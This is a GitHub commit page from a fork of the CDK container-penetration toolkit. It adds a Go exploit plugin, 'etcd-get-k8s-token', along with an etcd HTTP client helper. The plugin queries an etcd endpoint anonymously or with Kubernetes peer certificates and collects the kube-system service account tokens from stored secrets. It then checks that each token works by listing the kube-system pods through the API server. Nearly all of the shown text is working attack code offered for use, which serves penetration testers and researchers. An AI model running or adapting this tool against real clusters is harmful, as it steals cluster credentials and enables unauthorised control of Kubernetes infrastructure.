forked from cdk-team/CDK
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(etcd) cdk-team#52: get K8s service account token in ETCD
* add etcd get k8s token * etcd 代码补充 * something fix, not support etcd v2 * Remove unnecessary code
- Loading branch information
Showing
8 changed files
with
392 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,184 @@ | ||
//go:build !no_etcd_get_k8s_token | ||
// +build !no_etcd_get_k8s_token | ||
|
||
/* | ||
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . | ||
Licensed under the Apache License, Version 2.0 (the "License"); | ||
you may not use this file except in compliance with the License. | ||
You may obtain a copy of the License at | ||
http://www.apache.org/licenses/LICENSE-2.0 | ||
Unless required by applicable law or agreed to in writing, software | ||
distributed under the License is distributed on an "AS IS" BASIS, | ||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
See the License for the specific language governing permissions and | ||
limitations under the License. | ||
*/ | ||
|
||
package exploit | ||
|
||
import ( | ||
"crypto/tls" | ||
"crypto/x509" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"net/url" | ||
"regexp" | ||
"strings" | ||
|
||
"github.com/cdk-team/CDK/pkg/cli" | ||
"github.com/cdk-team/CDK/pkg/plugin" | ||
"github.com/cdk-team/CDK/pkg/tool/etcdctl" | ||
"github.com/cdk-team/CDK/pkg/tool/kubectl" | ||
"github.com/tidwall/gjson" | ||
) | ||
|
||
const ( | ||
defaultEtcdCert = "/etc/kubernetes/pki/etcd/peer.crt" | ||
defaultEtcdCertKey = "/etc/kubernetes/pki/etcd/peer.key" | ||
defaultEtcdCa = "/etc/kubernetes/pki/etcd/ca.crt" | ||
defaultEndpoint = "http://127.0.0.1:2379" | ||
) | ||
|
||
var k8sTokenPath = "/registry/secrets/kube-system/" | ||
|
||
// plugin interface | ||
type EtcdGetToken struct{} | ||
|
||
func (p EtcdGetToken) Desc() string { | ||
var buffer strings.Builder | ||
|
||
buffer.WriteString("Connect to etcd and get token of k8s. ") | ||
buffer.WriteString("Notice to choose anonymous|default (need CA Cert). ") | ||
buffer.WriteString("Usage: cdk run etcd-get-k8s-token (anonymous|default) <endpoint> <cert> <cert_key> <ca>") | ||
|
||
return buffer.String() | ||
} | ||
|
||
func (p EtcdGetToken) Run() bool { | ||
args := cli.Args["<args>"].([]string) | ||
|
||
var ( | ||
etcdCert = defaultEtcdCert | ||
etcdCertKey = defaultEtcdCertKey | ||
etcdCa = defaultEtcdCa | ||
endpoint = defaultEndpoint | ||
) | ||
|
||
if len(args) == 0 { | ||
fmt.Println("Example: cdk run etcd-get-k8s-token anonymous http://172.16.61.10:2379") | ||
return false | ||
} | ||
|
||
tlsConfig := &tls.Config{} | ||
|
||
if args[0] == "default" { | ||
switch len(args) { | ||
case 1: | ||
case 2: | ||
endpoint = args[1] | ||
case 3: | ||
endpoint = args[1] | ||
etcdCert = args[2] | ||
case 4: | ||
endpoint = args[1] | ||
etcdCert = args[2] | ||
etcdCertKey = args[3] | ||
default: | ||
endpoint = args[1] | ||
etcdCert = args[2] | ||
etcdCertKey = args[3] | ||
etcdCa = args[4] | ||
} | ||
|
||
cert, err := tls.LoadX509KeyPair(etcdCert, etcdCertKey) | ||
if err != nil { | ||
fmt.Println("[etcd-get-token] run failed:", err.Error()) | ||
return false | ||
} | ||
caData, err := ioutil.ReadFile(etcdCa) | ||
pool := x509.NewCertPool() | ||
pool.AppendCertsFromPEM(caData) | ||
tlsConfig.Certificates = []tls.Certificate{cert} | ||
tlsConfig.RootCAs = pool | ||
} else { | ||
if len(args) <= 1 { | ||
return false | ||
} | ||
endpoint = args[1] | ||
} | ||
|
||
opt := etcdctl.EtcdRequestOption{ | ||
Endpoint: endpoint, | ||
Api: "/v3/kv/range", | ||
Method: "POST", | ||
PostData: etcdctl.GenerateQuery("/"), | ||
TlsConfig: tlsConfig, | ||
Silent: true, | ||
} | ||
|
||
var flag bool | ||
resp, err := etcdctl.DoRequest(opt) | ||
if err != nil { | ||
log.Println(err) | ||
return flag | ||
} | ||
keys, err := etcdctl.GetKeys(resp, opt.Silent) | ||
if err != nil { | ||
log.Println(err) | ||
return flag | ||
} | ||
for k := range keys { | ||
if strings.HasPrefix(k, k8sTokenPath) { | ||
opt.PostData = etcdctl.GenerateQuery(k) | ||
resp1, err := etcdctl.DoRequest(opt) | ||
if err != nil { | ||
log.Println(err) | ||
return flag | ||
} | ||
kvs, err := etcdctl.GetKeys(resp1, opt.Silent) | ||
if err != nil { | ||
log.Println(err) | ||
return flag | ||
} | ||
for k, v := range kvs { | ||
if strings.Contains(v, "#kubernetes.io/service-account-token") { | ||
token := regexp.MustCompile("eyJh[\\w\\.-]+").FindString(v) | ||
if token != "" { | ||
flag = true | ||
fmt.Println(fmt.Sprintf("[%s] %s", k, token)) | ||
resp, err := getPods(token, endpoint) | ||
if err == nil { | ||
pods := gjson.Get(resp, "items").Array() | ||
result := fmt.Sprintf("[etcd-get-k8s-token] There are %d pods in kube-system namespace.", len(pods)) | ||
fmt.Println(result) | ||
// Port 6443/https is requested by default. If the token is valid, the function return. | ||
return flag | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} | ||
return flag | ||
} | ||
|
||
func getPods(token, endpoint string) (string, error) { | ||
u, _ := url.Parse(endpoint) | ||
opts := kubectl.K8sRequestOption{ | ||
Token: token, | ||
Server: "https://" + strings.Replace(u.Host, ":"+u.Port(), ":6443", -1), | ||
Api: "/api/v1/namespaces/kube-system/pods", | ||
Method: "GET", | ||
} | ||
resp, err := kubectl.ServerAccountRequest(opts) | ||
return resp, err | ||
} | ||
|
||
func init() { | ||
exploit := EtcdGetToken{} | ||
plugin.RegisterExploit("etcd-get-k8s-token", exploit) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
/* | ||
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . | ||
Licensed under the Apache License, Version 2.0 (the "License"); | ||
you may not use this file except in compliance with the License. | ||
You may obtain a copy of the License at | ||
http://www.apache.org/licenses/LICENSE-2.0 | ||
Unless required by applicable law or agreed to in writing, software | ||
distributed under the License is distributed on an "AS IS" BASIS, | ||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
See the License for the specific language governing permissions and | ||
limitations under the License. | ||
*/ | ||
|
||
package etcdctl | ||
|
||
import ( | ||
"bytes" | ||
"crypto/tls" | ||
"encoding/base64" | ||
"fmt" | ||
"io/ioutil" | ||
"net/http" | ||
"strings" | ||
"time" | ||
|
||
"github.com/cdk-team/CDK/pkg/errors" | ||
"github.com/tidwall/gjson" | ||
) | ||
|
||
type EtcdRequestOption struct { | ||
Endpoint string | ||
Api string | ||
PostData string | ||
TlsConfig *tls.Config | ||
Method string | ||
Silent bool | ||
} | ||
|
||
func DoRequest(opt EtcdRequestOption) (string, error) { | ||
// http client | ||
if opt.TlsConfig == nil || len(opt.TlsConfig.Certificates) == 0 || opt.TlsConfig.RootCAs == nil { | ||
opt.TlsConfig = &tls.Config{InsecureSkipVerify: true} | ||
} | ||
client := &http.Client{ | ||
Transport: &http.Transport{ | ||
TLSClientConfig: opt.TlsConfig, | ||
}, | ||
Timeout: time.Duration(5) * time.Second, | ||
} | ||
|
||
request, err := http.NewRequest(opt.Method, opt.Endpoint+opt.Api, bytes.NewBuffer([]byte(opt.PostData))) | ||
if err != nil { | ||
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while generate post request in net.http ."} | ||
} | ||
request.Header.Set("Content-Type", "application/json") | ||
|
||
resp, err := client.Do(request) | ||
if resp != nil { | ||
defer resp.Body.Close() | ||
} else if err != nil { | ||
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} | ||
} | ||
|
||
content, err := ioutil.ReadAll(resp.Body) | ||
if err != nil { | ||
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."} | ||
} | ||
|
||
return string(content), nil | ||
} | ||
|
||
func GetKeys(content string, silent bool) (map[string]string, error) { | ||
kvs := gjson.Get(content, "kvs").Array() | ||
ret := make(map[string]string, len(kvs)) | ||
for _, k := range kvs { | ||
name, err := base64.StdEncoding.DecodeString(k.Get("key").String()) | ||
if err != nil { | ||
fmt.Println("base64 decode failed:", err.Error()) | ||
continue | ||
} | ||
|
||
ret[string(name)] = "" | ||
if !silent { | ||
fmt.Println(string(name)) | ||
} | ||
|
||
if k.Get("value").Exists() { | ||
v, _ := base64.StdEncoding.DecodeString(k.Get("value").String()) | ||
if !silent { | ||
fmt.Println(string(v)) | ||
} | ||
ret[string(name)] = string(v) | ||
} | ||
} | ||
return ret, nil | ||
} | ||
|
||
func GenerateQuery(key string) (query string) { | ||
b64key := base64.StdEncoding.EncodeToString([]byte(strings.TrimSuffix(key, "\n"))) | ||
if key == "/" { | ||
bzero := base64.StdEncoding.EncodeToString([]byte{0}) | ||
query = fmt.Sprintf("{\"range_end\": \"%s\", \"key\": \"%s\", \"keys_only\":true}", bzero, b64key) | ||
} else { | ||
query = fmt.Sprintf("{\"key\": \"%s\"}", b64key) | ||
} | ||
return | ||
} | ||
|
||
// Only v3 version is supported,lower version support comments reserved. | ||
func GetVersion(endpoint string) (string, string, error) { | ||
opt := EtcdRequestOption{ | ||
Endpoint: endpoint, | ||
Api: "/version", | ||
Method: "GET", | ||
} | ||
resp, err := DoRequest(opt) | ||
if err != nil { | ||
return "", "", err | ||
} | ||
sv := gjson.Get(resp, "etcdserver").String() | ||
cv := gjson.Get(resp, "etcdcluster").String() | ||
return sv, cv, nil | ||
} |
Oops, something went wrong.